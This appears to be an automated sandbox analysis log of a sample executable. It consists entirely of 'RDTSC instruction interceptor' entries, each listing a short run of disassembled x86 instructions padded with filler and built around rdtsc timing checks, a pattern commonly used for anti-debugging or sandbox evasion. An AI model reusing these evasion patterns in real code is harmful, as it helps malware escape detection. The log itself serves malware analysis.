Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109DBB second address: 1109E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9D106F7667h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e jbe 00007F9D106F7667h 0x00000014 pushad 0x00000015 jmp 00007F9D106F7668h 0x0000001a jl 00007F9D106F7656h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A0A1 second address: 110A0BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F9D1073AE66h 0x0000000f jmp 00007F9D1073AE6Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A0BE second address: 110A0C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A0C7 second address: 110A0E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D1073AE78h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A0E5 second address: 110A0F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D106F765Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A0F5 second address: 110A0FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A0FC second address: 110A102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A29F second address: 110A2BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F9D1073AE66h 0x0000000a jmp 00007F9D1073AE75h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A59B second address: 110A59F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A59F second address: 110A5B1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F9D1073AE66h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A5B1 second address: 110A5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A5B5 second address: 110A5F4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9D1073AE66h 0x00000008 jmp 00007F9D1073AE6Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007F9D1073AE8Ch 0x00000015 jc 00007F9D1073AE72h 0x0000001b pushad 0x0000001c jo 00007F9D1073AE66h 0x00000022 jnp 00007F9D1073AE66h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A734 second address: 110A740 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A740 second address: 110A744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110AB4B second address: 110AB4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110AB4F second address: 110AB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110AB55 second address: 110AB6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B0FD second address: 110B103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B103 second address: 110B10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B10A second address: 110B114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9D1073AE66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D65D second address: 110D667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D667 second address: 110D66B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D810 second address: 110D815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D815 second address: 110D81B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D81B second address: 110D81F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D81F second address: 110D831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F9D1073AE6Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D831 second address: 110D83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D83B second address: 110D83F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D83F second address: 110D84B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9D106F7656h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D84B second address: 110D856 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007F9D1073AE66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D856 second address: 110D85E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110419 second address: 1110423 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9D1073AE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110423 second address: 1110428 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110428 second address: 1110471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D1073AE6Eh 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007F9D1073AE6Ch 0x00000010 jc 00007F9D1073AE66h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b jng 00007F9D1073AE8Eh 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F9D1073AE74h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110471 second address: 1110475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110742 second address: 1110746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110746 second address: 111075C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F9D106F7656h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11108A6 second address: 11108B2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9D1073AE66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11108B2 second address: 11108C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 jnc 00007F9D106F765Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113F3B second address: 1113F40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113F40 second address: 1113F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D106F765Bh 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jo 00007F9D106F7656h 0x00000017 popad 0x00000018 pushad 0x00000019 push edi 0x0000001a pop edi 0x0000001b push edi 0x0000001c pop edi 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11140AC second address: 11140B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11141F4 second address: 11141F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11141F8 second address: 1114212 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE70h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114212 second address: 1114216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114216 second address: 111421C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111421C second address: 1114221 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117E25 second address: 1117E56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9D1073AE76h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117E56 second address: 1117E66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F9D106F7656h 0x0000000a jg 00007F9D106F7656h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11180B5 second address: 11180B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11180B9 second address: 11180DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop esi 0x0000000c jnl 00007F9D106F7666h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DEC3 second address: 111DEC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DEC7 second address: 111DF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D106F7669h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F9D106F765Ah 0x00000010 jmp 00007F9D106F7661h 0x00000015 jmp 00007F9D106F7665h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push edx 0x0000001f pop edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DF1E second address: 111DF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F9D1073AE6Eh 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DF2F second address: 111DF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CADB second address: 111CAE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CF18 second address: 111CF1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CF1C second address: 111CF43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9D1073AE77h 0x0000000c jg 00007F9D1073AE66h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CF43 second address: 111CF48 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9A0C second address: 10C9A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007F9D1073AE77h 0x0000000b pop ecx 0x0000000c popad 0x0000000d nop 0x0000000e mov cl, E2h 0x00000010 mov ebx, dword ptr [ebp+1247DAD7h] 0x00000016 mov dl, 8Ah 0x00000018 xor edi, dword ptr [ebp+122D2944h] 0x0000001e add eax, ebx 0x00000020 mov edi, dword ptr [ebp+122D2579h] 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jl 00007F9D1073AE7Fh 0x0000002f jmp 00007F9D1073AE79h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9A66 second address: 10C9ADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F7664h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F9D106F7658h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 adc di, 9F77h 0x0000002b jmp 00007F9D106F765Ch 0x00000030 push 00000004h 0x00000032 mov dword ptr [ebp+122D2228h], ecx 0x00000038 push eax 0x00000039 pushad 0x0000003a jmp 00007F9D106F7668h 0x0000003f push ecx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125FCF second address: 1125FE8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F9D1073AE70h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123FA1 second address: 1123FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9D106F7662h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123FB7 second address: 1123FC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F9D1073AE66h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123FC6 second address: 1123FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123FD3 second address: 1123FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 ja 00007F9D1073AE6Ch 0x0000000b jc 00007F9D1073AE66h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123FE8 second address: 1123FEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123FEC second address: 1123FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112412A second address: 112412E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112412E second address: 112413A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112457F second address: 1124593 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9D106F765Dh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124F0A second address: 1124F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F9D1073AE7Ch 0x0000000b jmp 00007F9D1073AE74h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F9D1073AE6Fh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11254FC second address: 1125518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 jmp 00007F9D106F7663h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125518 second address: 1125520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125520 second address: 1125524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11257AB second address: 11257BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F9D1073AE66h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B486 second address: 112B4B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F7660h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F9D106F765Ah 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9D106F765Ch 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B4B6 second address: 112B4BC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B4BC second address: 112B4C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F151 second address: 112F155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E2C2 second address: 112E2CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E2CB second address: 112E2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D1073AE6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E438 second address: 112E43D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E43D second address: 112E443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E443 second address: 112E44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9D106F7656h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E70F second address: 112E713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112ECA8 second address: 112ECBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F9D106F765Eh 0x0000000b jbe 00007F9D106F7656h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112ECBB second address: 112ECC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F9D1073AE66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112ECC7 second address: 112ECCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112ECCB second address: 112ECEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9D1073AE79h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112ECEE second address: 112ED04 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jnc 00007F9D106F7656h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EE98 second address: 112EEA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134BAA second address: 1134BB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113513C second address: 1135140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1135461 second address: 113547C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F7665h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113547C second address: 1135486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F9D1073AE66h 0x0000000a rdtsc
